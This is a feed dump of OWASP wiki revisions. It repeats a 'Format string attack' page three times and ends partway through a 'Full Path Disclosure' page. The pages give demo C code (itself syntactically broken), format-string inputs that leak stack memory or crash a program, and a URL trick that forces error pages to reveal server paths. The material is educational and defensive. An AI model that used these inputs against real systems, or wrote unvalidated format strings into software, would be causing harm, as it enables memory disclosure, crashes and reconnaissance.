The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsourced software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33115</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33115"/>
				<updated>2008-07-02T11:37:35Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsourced software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33114</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33114"/>
				<updated>2008-07-02T11:37:21Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsourced software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
[[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=33113</id>
		<title>Full Path Disclosure</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=33113"/>
				<updated>2008-07-02T11:36:43Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Full Path Disclosure (AKA, FPD) vulnerabilities enable the attacker to see the path to the webroot/file.  Eg: /home/omg/htdocs/file/. &lt;br /&gt;
Certain vulnerabilities such as using the load_file() (within an SQL injection) query to view page sources require the attacker to have the full path to the file they wish to view.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
*  '''Empty Array'''&lt;br /&gt;
&lt;br /&gt;
If we have a site that uses a method of requesting a page like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can use a method of opening and closing braces and causing the page to output an error.  This method would look like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page[]=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
This renders the page defunct thus spitting out an error:&lt;br /&gt;
